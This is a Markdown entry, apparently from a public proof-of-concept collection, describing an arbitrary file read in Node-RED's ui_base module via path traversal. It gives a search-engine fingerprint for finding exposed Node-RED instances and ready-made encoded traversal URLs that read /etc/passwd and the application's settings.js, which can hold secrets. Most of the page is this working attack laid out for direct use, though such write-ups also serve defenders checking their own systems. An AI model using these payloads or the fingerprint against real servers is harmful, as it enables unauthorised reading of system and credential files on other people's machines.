Awesome-POC/Web应用漏洞/Node-RED ui_base 任意文件读取漏洞.md

42 lines
657 B
Markdown
Raw Normal View History

2022-05-17 17:43:20 +08:00
# Node-RED ui_base 任意文件读取漏洞
## 漏洞描述
Node-RED 在/nodes/ui_base.js中URL与'/ui_base/js/*'匹配然后传递给path.join
缺乏对最终路径的验证会导致路径遍历漏洞可以利用这个漏洞读取服务器上的敏感数据比如settings.js
## 漏洞影响
```
Node-RED
```
2023-08-28 15:55:36 +08:00
## 网络测绘
2022-05-17 17:43:20 +08:00
```
title="Node-RED"
```
## 漏洞复现
访问页面
2022-12-05 11:09:28 +08:00
![](./images/202202101928889.png)
2022-05-17 17:43:20 +08:00
验证POC
```plain
/ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
/ui_base/js/..%2f..%2f..%2f..%2fsettings.js
```
2022-12-05 11:09:28 +08:00
![](./images/202202101928013.png)
2022-05-17 17:43:20 +08:00
2022-12-05 11:09:28 +08:00
![](./images/202202101928766.png)